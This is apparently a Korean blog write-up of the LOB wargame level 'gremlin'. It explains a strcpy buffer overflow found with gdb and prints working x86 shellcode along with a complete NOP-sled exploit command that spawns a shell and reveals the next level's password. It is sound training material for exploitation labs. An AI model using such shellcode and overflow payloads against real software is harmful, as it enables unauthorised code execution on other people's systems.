처음은 gate/gate로 로그인을 해줍니다!
gremlin과 gremlin.c파일이 있는데요!
gremlin은 접근 권한때문에 건드리지 못할거라서
gcc -o gremlin2 gremlin.c
를 통해 gremlin2를 gdb해줘야됩니다!
이렇게 grmelin2가 생겼습니다!
일단 buffer는 256바이트의 크기를 가지고있다는 것을 알 수 있고
strcpy()함수를 이용하는 것을 알 수 있습니다!
이때 strcpy함수가 작동 후 버퍼에 값이 들어간다는 사실을 알 수 있는데요
여기서 strcpy의 취약점!
길이검사를 하지 않는다는 점을 이용해 버퍼오버플로우를 발생시켜볼겁니다!
일단 gdb를 해줍시당
strcpy함수가 main+54에서 호출이 되기 때문에 저기에 브레이크 포인트를 걸어줍니다!
브레이크를 걸어준 후
r `python -c 'print"A"*256'`
를 해줬더니
위와 같은 결과가 나왔습니다!
그래서 쉘코드를 포함하는 식을 만들어보면
사용할 쉘코드 : \x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80(33byte)
./gremlin `python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*36 + "\x18\xf9\xff\xbf"'`
를 해줬더니
다음 레벨의 비밀번호가 나왔습니다!
끝!
'Hacking' 카테고리의 다른 글
DreamHack Welcome (0) | 2020.10.14 |
---|---|
LOB #02 Cobolt (0) | 2020.10.14 |
Bandit 과제~_~(Bandit5까지 로그인) (0) | 2020.10.10 |
ctf-d.com GrrCON 2015 #1 ~ #2 (0) | 2020.08.30 |
Webhacking.kr - Challenge 18 (0) | 2020.08.16 |